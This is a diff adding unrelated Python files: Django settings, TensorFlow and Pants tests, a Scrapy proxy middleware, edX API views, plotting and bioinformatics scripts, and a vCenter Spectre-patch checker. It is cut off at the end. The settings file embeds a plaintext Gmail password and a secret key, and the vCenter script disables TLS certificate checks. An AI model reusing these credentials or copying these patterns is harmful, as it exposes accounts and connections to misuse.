a/pool/shard008/Python/0076815_settings.py b/pool/shard008/Python/0076815_settings.py new file mode 100644 index 0000000000000000000000000000000000000000..28aa5b22d308266bf096f8b67f490b03c644089e --- /dev/null +++ b/pool/shard008/Python/0076815_settings.py @@ -0,0 +1,32 @@ +from path import Path +import os + +DEBUG = os.environ.get('ENV').lower() not in ('prod', 'production') + +# TODO: Figure out mail configuration +EMAIL_USE_TLS = True +EMAIL_HOST = 'smtp.gmail.com' +EMAIL_PORT = 587 +EMAIL_HOST_USER = 'npact1.0@gmail.com' +EMAIL_HOST_PASSWORD = 'sictransit2' + +SECRET_KEY = 'cf0cb53d-1ff1-4074-a65d-977831de66af' + +WEBROOT = (Path(__file__).dirname() / "../../webroot").realpath() + + +def ppath(rel, create=True): + abspath = (WEBROOT / rel).realpath() + if abspath.exists(): + return abspath + elif create: + abspath.makedirs_p() + return abspath + else: + raise Exception("Path '%s' doesn't exist." % abspath) + +UPLOADS = ppath('uploads') + +# How many days should we keep upload files and products that haven't +# been accessed +ATIME_DEFAULT = 30 diff --git a/pool/shard008/Python/0076820_matrix_solve_op_test.py b/pool/shard008/Python/0076820_matrix_solve_op_test.py new file mode 100644 index 0000000000000000000000000000000000000000..e7ae7f714f2a93e3c632296c6d8a0c6d76a7fdc3 --- /dev/null +++ b/pool/shard008/Python/0076820_matrix_solve_op_test.py @@ -0,0 +1,101 @@ +# Copyright 2015 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Tests for tensorflow.ops.math_ops.matrix_solve.""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import numpy as np + +from tensorflow.python.framework import constant_op +from tensorflow.python.ops import linalg_ops +from tensorflow.python.platform import test + + +class MatrixSolveOpTest(test.TestCase): + + def _verifySolve(self, x, y, batch_dims=None): + for adjoint in False, True: + for np_type in [np.float32, np.float64, np.complex64, np.complex128]: + if np_type is [np.float32, np.float64]: + a = x.real().astype(np_type) + b = y.real().astype(np_type) + else: + a = x.astype(np_type) + b = y.astype(np_type) + if adjoint: + a_np = np.conj(np.transpose(a)) + else: + a_np = a + if batch_dims is not None: + a = np.tile(a, batch_dims + [1, 1]) + a_np = np.tile(a_np, batch_dims + [1, 1]) + b = np.tile(b, batch_dims + [1, 1]) + + np_ans = np.linalg.solve(a_np, b) + with self.test_session(): + tf_ans = linalg_ops.matrix_solve(a, b, adjoint=adjoint) + out = tf_ans.eval() + self.assertEqual(tf_ans.get_shape(), out.shape) + self.assertEqual(np_ans.shape, out.shape) + self.assertAllClose(np_ans, out) + + def testSolve(self): + matrix = np.array([[1. + 5.j, 2. + 6.j], [3. + 7j, 4. + 8.j]]) + # 2x1 right-hand side. + rhs1 = np.array([[1. + 0.j], [1. + 0.j]]) + self._verifySolve(matrix, rhs1) + # 2x3 right-hand sides. + rhs3 = np.array( + [[1. + 0.j, 0. + 0.j, 1. + 0.j], [0. + 0.j, 1. + 0.j, 1. + 0.j]]) + self._verifySolve(matrix, rhs3) + + def testSolveBatch(self): + matrix = np.array([[1. + 5.j, 2. + 6.j], [3. + 7j, 4. + 8.j]]) + rhs = np.array([[1. + 0.j], [1. + 0.j]]) + # Batch of 2x3x2x2 matrices, 2x3x2x3 right-hand sides. + self._verifySolve(matrix, rhs, batch_dims=[2, 3]) + # Batch of 3x2x2x2 matrices, 3x2x2x3 right-hand sides. + self._verifySolve(matrix, rhs, batch_dims=[3, 2]) + + def testNonSquareMatrix(self): + # When the solve of a non-square matrix is attempted we should return + # an error + with self.test_session(): + with self.assertRaises(ValueError): + matrix = constant_op.constant([[1., 2., 3.], [3., 4., 5.]]) + linalg_ops.matrix_solve(matrix, matrix) + + def testWrongDimensions(self): + # The matrix and right-hand sides should have the same number of rows. + with self.test_session(): + matrix = constant_op.constant([[1., 0.], [0., 1.]]) + rhs = constant_op.constant([[1., 0.]]) + with self.assertRaises(ValueError): + linalg_ops.matrix_solve(matrix, rhs) + + def testNotInvertible(self): + # The input should be invertible. + with self.test_session(): + with self.assertRaisesOpError("Input matrix is not invertible."): + # All rows of the matrix below add to zero + matrix = constant_op.constant( + [[1., 0., -1.], [-1., 1., 0.], [0., -1., 1.]]) + linalg_ops.matrix_solve(matrix, matrix).eval() + + +if __name__ == "__main__": + test.main() diff --git a/pool/shard008/Python/0076821_test_delays.py b/pool/shard008/Python/0076821_test_delays.py new file mode 100644 index 0000000000000000000000000000000000000000..551514ae7edd4f5e6858048cd786a02f0560935d --- /dev/null +++ b/pool/shard008/Python/0076821_test_delays.py @@ -0,0 +1,53 @@ +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, You can obtain one at http://mozilla.org/MPL/2.0/. + + +# Future Modules: +from __future__ import annotations + +# Built-in Modules: +from unittest import TestCase, mock + +# Mapper Modules: +from mapper.delays import BaseDelay, Delay, OneShot, Repeating + + +class TestDelays(TestCase): + def testBaseDelay(self) -> None: + with self.assertRaises(ValueError): + BaseDelay(1, -1, lambda *args: None) + delay: BaseDelay = BaseDelay(60, 10, lambda *args: None) + self.assertFalse(delay._finished.is_set()) + delay.stop() + self.assertTrue(delay._finished.is_set()) + delay._finished.clear() + self.assertFalse(delay._finished.is_set()) + mockWait: mock.Mock + with mock.patch.object(delay._finished, "wait") as mockWait: + delay.start() + delay.join(timeout=1.0) + if delay.is_alive(): + raise TimeoutError("BaseDelay thread failed to terminate.") + mockWait.assert_called_with(60) + self.assertEqual(mockWait.call_count, 10) + self.assertTrue(delay._finished.is_set()) + + @mock.patch("mapper.delays.Delay.start") + def testDelay(self, mockStart: mock.Mock) -> None: + Delay(60, 10, lambda *args: None) + mockStart.assert_called_once() + + @mock.patch("mapper.delays.OneShot.start") + def testOneShot(self, mockStart: mock.Mock) -> None: + delay: OneShot = OneShot(60, lambda *args: None) + self.assertEqual(delay._duration, 60) + self.assertEqual(delay._count, 1) + mockStart.assert_called_once() + + @mock.patch("mapper.delays.Repeating.start") + def testRepeating(self, mockStart: mock.Mock) -> None: + delay: Repeating = Repeating(60, lambda *args: None) + self.assertEqual(delay._duration, 60) + self.assertIsNone(delay._count) + mockStart.assert_called_once() diff --git a/pool/shard008/Python/0076827_test_fs_event_service.py b/pool/shard008/Python/0076827_test_fs_event_service.py new file mode 100644 index 0000000000000000000000000000000000000000..c45f17a6b991c6c4ff53bc079682e6c8b3495688 --- /dev/null +++ b/pool/shard008/Python/0076827_test_fs_event_service.py @@ -0,0 +1,81 @@ +# coding=utf-8 +# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). +# Licensed under the Apache License, Version 2.0 (see LICENSE). + +from __future__ import absolute_import, division, print_function, unicode_literals + +from contextlib import contextmanager + +import mock + +from pants.pantsd.service.fs_event_service import FSEventService +from pants.pantsd.watchman import Watchman +from pants_test.test_base import TestBase + + +class TestFSEventService(TestBase): + BUILD_ROOT = '/build_root' + EMPTY_EVENT = (None, None) + FAKE_EVENT = ('test', dict(subscription='test', files=['a/BUILD', 'b/BUILD'])) + FAKE_EVENT_STREAM = [FAKE_EVENT, EMPTY_EVENT, EMPTY_EVENT, FAKE_EVENT, EMPTY_EVENT] + WORKER_COUNT = 1 + + def setUp(self): + super(TestFSEventService, self).setUp() + self.mock_watchman = mock.create_autospec(Watchman, spec_set=True) + self.service = FSEventService(self.mock_watchman, self.BUILD_ROOT) + self.service.setup(None) + self.service.register_all_files_handler(lambda x: True, name='test') + self.service.register_all_files_handler(lambda x: False, name='test2') + + def test_registration(self): + # N.B. This test implicitly tests register_handler; no need to duplicate work. + self.assertTrue('test' in self.service._handlers) + self.assertTrue('test2' in self.service._handlers) + self.assertIsInstance(self.service._handlers['test'], Watchman.EventHandler) + self.assertIsInstance(self.service._handlers['test2'], Watchman.EventHandler) + + def test_register_handler_duplicate(self): + with self.assertRaises(AssertionError): + self.service.register_handler('test', 'test', lambda x: True) + + with self.assertRaises(AssertionError): + self.service.register_handler('test', dict(test=1), lambda x: True) + + def test_fire_callback(self): + self.assertTrue(self.service.fire_callback('test', {})) + self.assertFalse(self.service.fire_callback('test2', {})) + + @contextmanager + def mocked_run(self, asserts=True): + self.service.fire_callback = mock.Mock() + yield self.service.fire_callback + if asserts: + self.mock_watchman.watch_project.assert_called_once_with(self.BUILD_ROOT) + + def test_run_raise_on_failure_isalive(self): + self.mock_watchman.is_alive.return_value = False + with self.mocked_run(False), self.assertRaises(FSEventService.ServiceError): + self.service.run() + + def test_run(self): + with self.mocked_run() as mock_callback: + self.mock_watchman.subscribed.return_value = self.FAKE_EVENT_STREAM + self.service.run() + mock_callback.assert_has_calls([mock.call(*self.FAKE_EVENT), mock.call(*self.FAKE_EVENT)], + any_order=True) + + def test_run_failed_callback(self): + with self.mocked_run() as mock_callback: + self.mock_watchman.subscribed.return_value = self.FAKE_EVENT_STREAM + mock_callback.side_effect = [False, True] + self.service.run() + mock_callback.assert_has_calls([mock.call(*self.FAKE_EVENT), mock.call(*self.FAKE_EVENT)], + any_order=True) + + def test_run_breaks_on_kill_switch(self): + with self.mocked_run() as mock_callback: + self.service.terminate() + self.mock_watchman.subscribed.return_value = self.FAKE_EVENT_STREAM + self.service.run() + assert not mock_callback.called diff --git a/pool/shard008/Python/0076836_barkley.py b/pool/shard008/Python/0076836_barkley.py new file mode 100644 index 0000000000000000000000000000000000000000..52eb84dc0a3c4e98978e72c2be96032bfdfc64eb --- /dev/null +++ b/pool/shard008/Python/0076836_barkley.py @@ -0,0 +1,20 @@ +import conedy as co + +co.set("samplingTime", 1.0) + + + + +co.set("barkley_k", 0.1) + + + +N = co.network() +N.lattice(1,1,1.0,co.barkley()) + + +N.observeTime("output/barkley.py.single") +N.observeAll("output/barkley.py.single", co.component(0) ) +N.observeAll("output/barkley.py.single", co.component(1) ) +N.evolve(0.0,500.0) + diff --git a/pool/shard008/Python/0076838_proxy.py b/pool/shard008/Python/0076838_proxy.py new file mode 100644 index 0000000000000000000000000000000000000000..828296e8ed9dac60923756ed4a407451eb44e313 --- /dev/null +++ b/pool/shard008/Python/0076838_proxy.py @@ -0,0 +1,21 @@ +# -*- coding: utf-8 -*- +import random +from scrapy.conf import settings +import logging + +logger = logging.getLogger("crawler.middleware.proxy") + +class StaticProxyMiddleware(object): + # overwrite process request + def process_request(self, request, spider): + # Set the location of the proxy + proxy = settings.get("PROXY") + logger.info("process request %s using proxy %s" % (request, proxy)) + request.meta['proxy'] = proxy + +class RandomProxyMiddleware(object): + + def process_request(self, request, spider): + proxy = random.choice(settings.get('PROXY_LIST')) + logger.info("process request %s using proxy %s" % (request, proxy)) + request.meta['proxy'] = proxy diff --git a/pool/shard008/Python/0076840_day_response_group.py b/pool/shard008/Python/0076840_day_response_group.py new file mode 100644 index 0000000000000000000000000000000000000000..a3f12fc0e0cf48993a9efca109d7a57c0bfe4f4d --- /dev/null +++ b/pool/shard008/Python/0076840_day_response_group.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +""" +============================= +Paint Daily Response in Group +============================= + +Copyright (c) 2017年 li3huo.com All rights reserved. +""" +import numpy as np +import matplotlib.pyplot as plt + +from numpy_helper import Helper + +import sys, os + +def paint_horizantal_bar_chart(group_name, date_str, resp_group, resp_group_err): + """Make a horizontal bar plot + """ + height = 0.35 # the height of the bars + labels = ('Average Response Time(ms)', 'Last 100 Response Time(ms)') + groups = resp_group.keys() # tag name + ind = np.arange(len(groups)) # the y locations for the groups + + #开启网格 + plt.grid() + # fig, ax = plt.subplots() + fig = plt.figure(figsize=(12, 12)) + ax = fig.add_subplot(111) + # add some text for labels, title and axes ticks + ax.set_ylabel(group_name) + ax.set_title('Response Time group by %s(%s)' % (group_name, date_str)) + ax.set_yticks(ind + height / 2) + ax.set_yticklabels(groups) + + # rects1 = ax.bar(ind, men_means, width, color='r', yerr=men_std, label='Men') + # mean of all + performance = [np.mean(resp) for resp in resp_group.values()] + error = [len(err) for err in resp_group_err.values() ] + + for rect in ax.barh(ind, performance, height, color='g', label=labels[0]): + lenth = int(rect.get_width()) + x = rect.get_width() + if x < 500 : x = 500 + ax.text(x, rect.get_y() + height/2., + '%d' % lenth, + horizontalalignment='right', + verticalalignment='center') + + # rects2 = ax.bar(ind + width, women_means, width, color='y', yerr=women_std, label='Women') + # mean of last 100 + resps_sorted = [np.sort(resp) for resp in resp_group.values() ] + performance = [np.mean(resp[-100:]) for resp in resps_sorted] + for rect in ax.barh(ind + height, performance, height, color='r', label=labels[1]): + lenth = int(rect.get_width()) + x = rect.get_width() + if x < 500 : x = 500 + ax.text(x, rect.get_y() + height/2., + '%d' % lenth, + horizontalalignment='right', + verticalalignment='center') + + plt.legend( loc='best', fontsize='small' ) + + counts = ['all: %d\nerr: %d'%(len(resp),len(err)) for resp, err in zip(resp_group.values(), resp_group_err.values())] + # Set the right-hand Y-axis ticks and labels + ax2 = ax.twinx() + # set the tick locations + ax2.set_yticks(ind) + # make sure that the limits are set equally on both yaxis so the + # ticks line up + ax2.set_ylim(ax.get_ylim()) + # set the tick labels + ax2.set_yticklabels(counts) + ax2.set_ylabel('All Response') + ax2.yaxis.grid(True, which="both", color='k', linestyle='-.', linewidth=0.7) + + # plt.show() + date_str='' + plt.savefig('channel_auth_%s.png'%date_str, dpi = 300) + print 'save as channel_auth_%s.png'%date_str + +def test(date_str): + helper = Helper('helper.ini', 'agent') + log_file = 'logs/perf.log.'+date_str + cmd = """grep "/api/LoginAuth/" %s | sed -n 's/.*ch=\\(.*\\), code=\\([0-9]\\+\\).*w = \\(.*\\)s/\\1 \\3 \\2/p'"""% log_file + print 'cmd =',cmd + (resp_group, resp_group_err) =Helper.parse_response_groupbytag( + cmd, + 'string', + ignore_err=False) + # data =Helper.load('agent.npz') + + group_name = 'Channels' + paint_horizantal_bar_chart(group_name, date_str, resp_group, resp_group_err) + +def main(argv): + ini_file = 'helper.ini' + section = 'agent' + if len(argv) > 1: ini_file = argv[1] + if len(argv) > 2: section = argv[2] + + print 'config file =', ini_file + if not os.path.exists(ini_file): + # use ini in python dir + ini_file=os.path.join(os.path.abspath(os.path.dirname(argv[0])),ini_file) + print('try to use another place', ini_file) + helper = Helper(ini_file, section) + (resp_group, resp_group_err) =Helper.parse_response_groupbytag( + helper.auth_resp_groupby_ch_cmd, + helper.cost_type, + ignore_err=False) + + paint_horizantal_bar_chart('Channels', helper.yesterday, resp_group, resp_group_err) + +if __name__ == '__main__': + # for date in ['2017-09-19', '2017-09-20', '2017-09-21', '2017-09-22', '2017-09-23', '2017-09-24', '2017-09-25', '2017-09-26']: + # # for date in ['2017-09-19']: + # test(date) + main(sys.argv) # python day_response_group.py helper.ini platform \ No newline at end of file diff --git a/pool/shard008/Python/0076844_views.py b/pool/shard008/Python/0076844_views.py new file mode 100644 index 0000000000000000000000000000000000000000..194288937683f29dcc3400e0739ed1f91bedeb5b --- /dev/null +++ b/pool/shard008/Python/0076844_views.py @@ -0,0 +1,250 @@ +""" +Views for user API +""" + +from django.shortcuts import redirect +from django.utils import dateparse + +from rest_framework import generics, views +from rest_framework.decorators import api_view +from rest_framework.response import Response + +from opaque_keys.edx.keys import UsageKey +from opaque_keys import InvalidKeyError + +from courseware.access import is_mobile_available_for_user +from courseware.model_data import FieldDataCache +from courseware.module_render import get_module_for_descriptor +from courseware.views import get_current_child, save_positions_recursively_up +from student.models import CourseEnrollment, User + +from xblock.fields import Scope +from xblock.runtime import KeyValueStore +from xmodule.modulestore.django import modulestore +from xmodule.modulestore.exceptions import ItemNotFoundError + +from .serializers import CourseEnrollmentSerializer, UserSerializer +from .. import errors +from ..utils import mobile_view, mobile_course_access + + +@mobile_view(is_user=True) +class UserDetail(generics.RetrieveAPIView): + """ + **Use Case** + + Get information about the specified user and + access other resources the user has permissions for. + + Users are redirected to this endpoint after logging in. + + You can use the **course_enrollments** value in + the response to get a list of courses the user is enrolled in. + + **Example request**: + + GET /api/mobile/v0.5/users/{username} + + + **Response Values** + + * id: The ID of the user. + + * username: The username of the currently logged in user. + + * email: The email address of the currently logged in user. + + * name: The full name of the currently logged in user. + + * course_enrollments: The URI to list the courses the currently logged + in user is enrolled in. + """ + queryset = ( + User.objects.all() + .select_related('profile', 'course_enrollments') + ) + serializer_class = UserSerializer + lookup_field = 'username' + + +@mobile_view(is_user=True) +class UserCourseStatus(views.APIView): + """ + **Use Case** + + Get or update the ID of the module that the specified user last visited in the specified course. + + **Example request**: + + GET /api/mobile/v0.5/users/{username}/course_status_info/{course_id} + + PATCH /api/mobile/v0.5/users/{username}/course_status_info/{course_id} + + body: + last_visited_module_id={module_id} + modification_date={date} + + The modification_date is optional. If it is present, the update will only take effect + if the modification_date is later than the modification_date saved on the server. + + **Response Values** + + * last_visited_module_id: The ID of the last module visited by the user in the course. + + * last_visited_module_path: The ID of the modules in the path from the + last visited module to the course module. + """ + + http_method_names = ["get", "patch"] + + def _last_visited_module_path(self, request, course): + """ + Returns the path from the last module visited by the current user in the given course up to + the course module. If there is no such visit, the first item deep enough down the course + tree is used. + """ + field_data_cache = FieldDataCache.cache_for_descriptor_descendents( + course.id, request.user, course, depth=2) + + course_module = get_module_for_descriptor(request.user, request, course, field_data_cache, course.id) + + path = [course_module] + chapter = get_current_child(course_module, min_depth=2) + if chapter is not None: + path.append(chapter) + section = get_current_child(chapter, min_depth=1) + if section is not None: + path.append(section) + + path.reverse() + return path + + def _get_course_info(self, request, course): + """ + Returns the course status + """ + path = self._last_visited_module_path(request, course) + path_ids = [unicode(module.location) for module in path] + return Response({ + "last_visited_module_id": path_ids[0], + "last_visited_module_path": path_ids, + }) + + def _update_last_visited_module_id(self, request, course, module_key, modification_date): + """ + Saves the module id if the found modification_date is less recent than the passed modification date + """ + field_data_cache = FieldDataCache.cache_for_descriptor_descendents( + course.id, request.user, course, depth=2) + try: + module_descriptor = modulestore().get_item(module_key) + except ItemNotFoundError: + return Response(errors.ERROR_INVALID_MODULE_ID, status=400) + module = get_module_for_descriptor(request.user, request, module_descriptor, field_data_cache, course.id) + + if modification_date: + key = KeyValueStore.Key( + scope=Scope.user_state, + user_id=request.user.id, + block_scope_id=course.location, + field_name='position' + ) + original_store_date = field_data_cache.last_modified(key) + if original_store_date is not None and modification_date < original_store_date: + # old modification date so skip update + return self._get_course_info(request, course) + + save_positions_recursively_up(request.user, request, field_data_cache, module) + return self._get_course_info(request, course) + + @mobile_course_access(depth=2) + def get(self, request, course, *args, **kwargs): # pylint: disable=unused-argument + """ + Get the ID of the module that the specified user last visited in the specified course. + """ + + return self._get_course_info(request, course) + + @mobile_course_access(depth=2) + def patch(self, request, course, *args, **kwargs): # pylint: disable=unused-argument + """ + Update the ID of the module that the specified user last visited in the specified course. + """ + module_id = request.DATA.get("last_visited_module_id") + modification_date_string = request.DATA.get("modification_date") + modification_date = None + if modification_date_string: + modification_date = dateparse.parse_datetime(modification_date_string) + if not modification_date or not modification_date.tzinfo: + return Response(errors.ERROR_INVALID_MODIFICATION_DATE, status=400) + + if module_id: + try: + module_key = UsageKey.from_string(module_id) + except InvalidKeyError: + return Response(errors.ERROR_INVALID_MODULE_ID, status=400) + + return self._update_last_visited_module_id(request, course, module_key, modification_date) + else: + # The arguments are optional, so if there's no argument just succeed + return self._get_course_info(request, course) + + +@mobile_view(is_user=True) +class UserCourseEnrollmentsList(generics.ListAPIView): + """ + **Use Case** + + Get information about the courses the currently logged in user is + enrolled in. + + **Example request**: + + GET /api/mobile/v0.5/users/{username}/course_enrollments/ + + **Response Values** + + * created: The date the course was created. + * mode: The type of certificate registration for this course: honor or + certified. + * is_active: Whether the course is currently active; true or false. + * certificate: Information about the user's earned certificate in the course. + * url: URL to the downloadable version of the certificate, if exists. + * course: A collection of data about the course: + + * course_updates: The URI to get data for course updates. + * number: The course number. + * org: The organization that created the course. + * video_outline: The URI to get the list of all vides the user can + access in the course. + * id: The unique ID of the course. + * subscription_id: A unique "clean" (alphanumeric with '_') ID of the course. + * latest_updates: Reserved for future use. + * end: The end date of the course. + * name: The name of the course. + * course_handouts: The URI to get data for course handouts. + * start: The data and time the course starts. + * course_image: The path to the course image. + """ + queryset = CourseEnrollment.objects.all() + serializer_class = CourseEnrollmentSerializer + lookup_field = 'username' + + def get_queryset(self): + enrollments = self.queryset.filter( + user__username=self.kwargs['username'], + is_active=True + ).order_by('created').reverse() + return [ + enrollment for enrollment in enrollments + if enrollment.course and is_mobile_available_for_user(self.request.user, enrollment.course) + ] + + +@api_view(["GET"]) +@mobile_view() +def my_user_info(request): + """ + Redirect to the currently-logged-in user's info page + """ + return redirect("user-detail", username=request.user.username) diff --git a/pool/shard008/Python/0076845_glitch.py b/pool/shard008/Python/0076845_glitch.py new file mode 100644 index 0000000000000000000000000000000000000000..d97cb2b4d2b2ffa179c54a2cdec1ac9dd561efd6 --- /dev/null +++ b/pool/shard008/Python/0076845_glitch.py @@ -0,0 +1,35 @@ +from twython import Twython +import numpy +import json + + +def auth(): + with open("access.json", 'r') as f: + db = json.load(f) + return Twython(db["app_key"], access_token=db["access_token"]) + +def main(image): + # get the most recent meatspac tweet + twitter = auth() + tweet = twitter.search(q="meatspac", result_type="recent", count=1)["statuses"][0]["text"] + # divide image by tweet length and modulate + out_image = glitch(image, tweet) + return out_image + +def glitch(image, tweet): + tweet_len = len(tweet) + image_len = len(image) + width = int(image_len/tweet_len) + ranges = [range(x,x+width) for x in range(0, image_len, width)] + truncate = ranges[-1][-1]-image_len + ranges[-1] = ranges[-1][:-(truncate+1)] + tweet = [ord(letter) for letter in tweet] + tweet.append(tweet[0]) + for idx, part in enumerate(ranges): + rgb = numpy.random.randint(0,3) + for row in part: + mod = tweet[idx] + for pix_idx, pixel in enumerate(image[row]): + image[row][pix_idx][rgb] = (image[row][pix_idx][rgb]+mod)%256 + return image + diff --git a/pool/shard008/Python/0076847_init__.py b/pool/shard008/Python/0076847_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..81ab216c0283b98db41f71870e3c75163bf037bd --- /dev/null +++ b/pool/shard008/Python/0076847_init__.py @@ -0,0 +1,115 @@ +""" +Services autodiscover (loading) and registering. + +@author Tim Lauv +@created 2017.01.19 +@updated 2017.03.11 +""" +from importlib import import_module +from django.utils.functional import cached_property +# from django.utils.module_loading import autodiscover_modules (BUGGY: the registry `register_to` is not populated atm...) +from django.conf import settings +from django.conf.urls import url +from django.http import HttpResponseNotAllowed +from django.views.decorators.csrf import csrf_exempt +from django.apps import apps as django_apps +import inspect +import logging + +logger = logging.getLogger('django') + + +def autodiscover(*args): + """ + Automatically register tagged functions/models with urlconf. + + """ + for app in django_apps.get_app_configs(): + # init modules and services registery + services._registry[app.name] = {} + services._services[app.name] = {} # path dict --> methods dict + + # loop within each app for each targeted modules (e.g 'services', 'models') + for target in args: + try: + # load the target module from that app + t = import_module('{}.{}'.format(app.name, target)) + services._registry[app.name][target] = t # keep a module record, but not really used atm. + + # note that, if t is a package, only those exposed by its __init__.py are considered. + + # inspect it for functions/classes + for name, m in inspect.getmembers(t, lambda x: inspect.isfunction(x) or inspect.isclass(x)): + # filter out non @service, @serve* + if(hasattr(m, '_path')): + # override mount point by @url('path'), can be multiple + paths = m._path if type(m._path) is list else [m._path] + methods = m._methods if hasattr(m, '_methods') else ['*'] + for p in paths: + mapping = services._services[app.name].get(p, {}) + for method in methods: + mapping[method] = { + # keep a service record (to generate url by calling services.urls/url() later) + 'name': name, + 'src': m if not hasattr(m, '_express_dispatcher') else m._express_dispatcher, + } + services._services[app.name][p] = mapping + except Exception as e: + logger.warning('[express: autodiscover ' + app.name + '] ' + str(e)) + + # remember for DEBUG=True logging [django: base] + services._global_urls = import_module(settings.ROOT_URLCONF).urlpatterns + + +class ServiceRegistry(object): + """docstring for ServiceRegistry""" + + def __init__(self): + super().__init__() + self._registry = {} # should be used by autodiscover_modules() automatically but BUGGY atm, thus manually assigned. + self._services = {} # stores service cards collected from memeber._path + self._generated = [] # for DEBUG=True logging + + def _generateMountURLs(self, path, mapping, app=None): + p = path + + @csrf_exempt # dispatcher (view) needs to be csrf exempted + def dispatcher(req, *args, **kwargs): + service = mapping.get(req.method, None) or mapping.get('*', None) + if service: + return service['src'](req, *args, **kwargs) + else: + return HttpResponseNotAllowed(mapping.keys()) + + # relative path + if not p.startswith('/'): + if app: + p = '/'.join([app, p]) # add app name prefix in addition to 'path' + + # absolute path + else: + p = p[1:] # remove leading '/' + + # support reverse() in template for
and
+ reversable = mapping.get('*', None) or mapping.get('GET', None) or mapping.get('POST', None) + return url(r'^{}$'.format(p), dispatcher, name='.'.join([reversable['src'].__module__, reversable['name']]) if reversable else None) + + @cached_property + def urls(self): + """return all the urls found, with app name as relative url's prefix""" + return self.url(*self._services.keys()) + + def url(self, *args, **kwargs): + """return only the selected app(s)'s urls for service mounting, use noprefix=True for exposing services directly using their names""" + urls = [] + for app in args: + records = self._services.get(app, {}) + for path, mapping in records.items(): + urls.append(self._generateMountURLs(path, mapping, None if kwargs.get('noprefix', False) else app)) + + self._generated += urls # for DEBUG=True logging to output [express: uri] info + return urls + + +services = ServiceRegistry() +default_app_config = 'express.apps.ExpressConfig' diff --git a/pool/shard008/Python/0076849_blast2tax.py b/pool/shard008/Python/0076849_blast2tax.py new file mode 100644 index 0000000000000000000000000000000000000000..1e7c43705b01a7cee0e38262a32cc771e6186336 --- /dev/null +++ b/pool/shard008/Python/0076849_blast2tax.py @@ -0,0 +1,34 @@ +import os +import sys +import re + +# read the phage taxonomy file + +try: + bf=sys.argv[1] +except: + sys.exit(sys.argv[0] + "") + +# read the taxonomy file +tax={} +with open('/home3/redwards/phage/host_analysis/all_host_taxid.txt', 'r') as tin: + for l in tin: + p=l.strip().split("\t") + tax[p[0]]=p[1] + +# read the blast output file + +results={} +with open(bf, 'r') as p: + for l in p: + p=l.strip().split("\t") + if tax[p[0]] not in results: + results[tax[p[0]]]={} + results[tax[p[0]]][tax[p[1]]]=1 + +for ph in results: + print ph + "\t" + "\t".join(results[ph].keys()) + + + + diff --git a/pool/shard008/Python/0076851_hosts_patched.py b/pool/shard008/Python/0076851_hosts_patched.py new file mode 100644 index 0000000000000000000000000000000000000000..9fc54e2f85e0d7508b6adb625d3edffaf2ce5080 --- /dev/null +++ b/pool/shard008/Python/0076851_hosts_patched.py @@ -0,0 +1,109 @@ +# Author: Vikas Shitole +# Product: vCenter server +# Description: Script to confirm whether both hypervisor and microcode patches are applied or not : vCenter/ESXi patches for Spectre vulnerability. +# Reference: https://kb.vmware.com/s/article/52085 +# How to setup pyVmomi environment?: http://vthinkbeyondvm.com/how-did-i-get-started-with-the-vsphere-python-sdk-pyvmomi-on-ubuntu-distro/ + +from pyVim.connect import SmartConnect, Disconnect +from pyVmomi import vim +import atexit +import ssl +import sys +import argparse +import getpass + +# Script to confirm whether EVC cluster is patched or not for Spectre vulenerability. + +def get_args(): + """ Get arguments from CLI """ + parser = argparse.ArgumentParser( + description='Arguments for talking to vCenter') + + parser.add_argument('-s', '--host', + required=True, + action='store', + help='vSpehre service to connect to') + + parser.add_argument('-o', '--port', + type=int, + default=443, + action='store', + help='Port to connect on') + + parser.add_argument('-u', '--user', + required=True, + action='store', + help='Username to use') + + parser.add_argument('-p', '--password', + required=False, + action='store', + help='Password to use') + + parser.add_argument('-c', '--cluster', + required=True, + action='store', + default=None, + help='Name of the cluster you wish to check') + + args = parser.parse_args() + + if not args.password: + args.password = getpass.getpass( + prompt='Enter vCenter password:') + + return args + + +# Below method helps us to get MOR of the object (vim type) that we passed. +def get_obj(content, vimtype, name): + obj = None + container = content.viewManager.CreateContainerView(content.rootFolder, vimtype, True) + for c in container.view: + if name and c.name == name: + obj = c + break + container.Destroy() + return obj + + + +args = get_args() +s=ssl.SSLContext(ssl.PROTOCOL_TLSv1) +s.verify_mode=ssl.CERT_NONE +si= SmartConnect(host=args.host, user=args.user, pwd=args.password,sslContext=s) +content=si.content +cluster_name=args.cluster + +#Cluster object +cluster = get_obj(content,[vim.ClusterComputeResource],cluster_name) +if(not cluster): + print ("Cluster not found, please enter correct EVC cluster name") + quit() + +print ("Cluster Name:"+cluster.name) + +# Get all the hosts available inside cluster +hosts = cluster.host + +#Iterate through each host to get MaxEVC mode supported on the host +for host in hosts: + print ("----------------------------------") + print ("Host:"+host.name) + feature_capabilities = host.config.featureCapability + flag=False + for capability in feature_capabilities: + if(capability.key in ["cpuid.STIBP", "cpuid.IBPB","cpuid.IBRS"] and capability.value=="1"): + print ("Found::"+capability.key) + flag=True + if(not flag): + print ("No new cpubit found, hence "+host.name+" is NOT patched") + else: + print ("New CPU bit is found, hence "+host.name+" is patched") + + +atexit.register(Disconnect, si) + + + + diff --git a/pool/shard008/Python/0076855_03_xapi-network_pos.py b/pool/shard008/Python/0076855_03_xapi-network_pos.py new file mode 100644 index 0000000000000000000000000000000000000000..900d4879076c061d022b666c1624af2e46551057 --- /dev/null +++ b/pool/shard008/Python/0076855_03_xapi-network_pos.py @@ -0,0 +1,123 @@ +#!/usr/bin/python +#============================================================================ +# This library is free software; you can redistribute it and/or +# modify it under the terms of version 2.1 of the GNU Lesser General Public +# License as published by the Free Software Foundation. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 59 